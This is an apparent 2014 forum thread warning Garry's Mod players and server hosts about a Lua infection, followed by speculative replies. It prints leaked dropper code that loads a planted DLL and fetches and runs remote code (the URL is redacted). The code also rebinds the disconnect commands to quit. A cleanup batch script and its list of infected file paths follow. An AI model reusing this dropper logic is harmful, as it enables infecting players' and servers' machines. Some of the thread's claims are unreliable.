Author Topic: [PSA] LUA virus was spreading around on EVERY SOURCE GAME  (Read 2936 times)

This is a alert towards both server hosts and players.
Recently (2 days ago, shut up if I'm late), a LUA infection was going, towards both clients and servers/server hosts.

Quote from: some guy on facepunch
Some of our clients, and our server, recently got messed with by Chrisaster, or one of his buddies that go under the same name, or VIN, these include the files client_infect.lua, and server_infect.lua.


Seems they do this through client uploads.

Not 100% sure, but it seems they Hack into RCON (They can get your RCON password through clientside lua, even with client uploads disabled), put some files on there, then they use some other fancy doodads to infect the server and clients more.

Some of their code leaked into our console, so here's what I found, make what you want of it, and keep in mind that these scripts were very recently made, this is a new thing:


Here's the server_infect.lua
Code: [Select]
-- Loaded over HTTP by Lua through CompileString(...)() via rcon request
if not system.IsWindows() then
return
end

if file.Exists("lua/autorun/server/default.lua", "MOD") then
return -- Already infected
end

timer.Create("infchk", 2, 0, function()
if file.Exists("download/engine_win32.dll", "MOD") then
timer.Remove("infchk")

require("/../../../download/engine")

http.Fetch("*ACTUAL LINK TO VIRUS CODE HERE", function(content)
CreateFile("garrysmod/lua/autorun/server/default.lua", content)

include("autorun/server/default.lua")
end, function() end)
end
end)


Here's the client_infect.lua
Code: [Select]
-- Loaded over HTTP by Lua through client:SendLua(..)
if not system.IsWindows() then
return
end
 
if file.Exists("bin/game_shader_generic_engine.dll", "MOD") then
return -- Already infected
end
 
 
timer.Create("infchk", 2, 0, function()
if file.Exists("download/engine_win32.dll", "MOD") then
timer.Remove("infchk")
 
require("/../../../download/engine")
 
 
http.Fetch("SAME HERE", function(content)
CreateFile("garrysmod/bin/game_shader_generic_engine.dll", GetShaderBinary())
CreateFile("garrysmod/materials/cooltexture.vtf", content)

local ret = CompileString( content, "l", false )
pcall(ret)
 
timer.Simple(4, function()
ConCommand("alias disconnect quit\n")
ConCommand("alias gamemenucommand quit\n")
ConCommand("alias retry quit\n")
ConCommand("alias connect quit\n")
ConCommand("alias map quit\n")
end)
end)
end
end)

Hey Garry, or Valve, maybe you can find some ways to fix this a bit?


Thanks, and VINH'LL FIX IT@@.

It's been fixed (yes by Vinh), but just in case you have any suspicions about it, you should try this code in a batch file, in your garrysmod folder, client or server. And if you say "WHICH GARRY'S MOD FOLDER", the one I'm talking about has steam.inf (the file) in it.

Code: [Select]
@echo off
title Exploit file cleanup - MFSiNC

if exist "hl2.exe" (
cd "garrysmod"
)

if not exist steam.inf (
echo.
echo You're running this from the wrong place!
echo.
echo Put this file in your garrysmod folder, either server or client, and re-run it.
echo.
echo.
pause
exit
)

echo.
echo This will remove the files used in the exploit/virus.
echo.
echo To see exactly what will be removed, open this batch file with Notepad.
echo.
pause

echo Cleaning..

taskkill /F /IM hl2.exe > nul
taskkill /F /IM srcds.exe > nul



::Files, clientside
if exist "engine_win32.dll" (
attrib -h "engine_win32.dll"
del /F /Q "engine_win32.dll"
)

if exist "materials\cooltexture.vtf" (
del /F /Q "materials\cooltexture.vtf"
)

if exist "bin\game_shader_generic_engine.dll" (
attrib -h "bin\game_shader_generic_engine.dll"
del /F /Q "bin\game_shader_generic_engine.dll"
)

if exist "download\engine_win32.dll" (
attrib -h "download\engine_win32.dll"
del /F /Q "download\engine_win32.dll"
)

::Dir
if exist "download\cfg" (
RD /S /Q "download\cfg"
)



::Files, serverside
if exist "lua\autorun\server\default.lua" (
attrib -h "lua\autorun\server\default.lua"
del /F /Q "lua\autorun\server\default.lua"
)



echo.
echo Done.
echo.
pause

Paste that into notepad, save it as a .bat file, and run it. You probably don't have it, but if things have been going weird lately or you're a worried server host, try it.

Also, here's a video...of it? https://www.youtube.com/watch?v=1lQEeX19YhQ
I don't know.

Either way, here's the Facepunch topic.

http://facepunch.com/showthread.php?t=1386818

QUICKEDIT: Oh, and after MORE research, this was not only spreading onto Garry's Mod, but other source games at well. Also, ANYONE who has the file, WILL be banned by a server with QAC. bad stuff.
« Last Edit: April 21, 2014, 05:02:08 PM by KillerCop311 »

i don't think i have much to worry about. after my recent computer-forget-up-wipe, i haven't started installing any source games other than tactical intervention (which i cancelled the download for)
« Last Edit: April 21, 2014, 05:17:27 PM by Decepticon »

What else does it do other then the RCON thing?


isn't this some stupid really old virus

Garry's mod is the only Source game with LUA. How are you thinking it would spread to other source games?

isn't this some stupid really old virus
I think you're mistaking the current virus spread for This.
It's especially easy since they're both made by Chrisaster(Vinh).

I think you're mistaking the current virus spread for This.
It's especially easy since they're both made by Chrisaster(Vinh).
that sounds extremely fake but real too
« Last Edit: April 21, 2014, 10:26:18 PM by Decepticon »

If they haven't released an official statement about it, its not that bad.

If they haven't released an official statement about it, its not that bad.
pretty sure they told literally everyone to reinstall gmod
and, you know, the fact that a malicious user of this exploit could take over your entire computer really easily

pretty loving serious

I think you're mistaking the current virus spread for This.
It's especially easy since they're both made by Chrisaster(Vinh).
Fake and gay.

Garry's mod is the only Source game with LUA. How are you thinking it would spread to other source games?

I want to know this as well.

you only get affected by this if you play multiplayer in Gmod, Right?
if so I'm fine cause I've been playing singleplayer Gmod recently.

you only get affected by this if you play multiplayer in Gmod, Right?
if so I'm fine cause I've been playing singleplayer Gmod recently.
No, it affects all modes. You now have thirteen forms of spyware, adware, and general malware. Good luck!

pretty sure they told literally everyone to reinstall gmod
and, you know, the fact that a malicious user of this exploit could take over your entire computer really easily

pretty loving serious

I'm talking about all source games, I haven't seen any other news about it except for Garrysmod.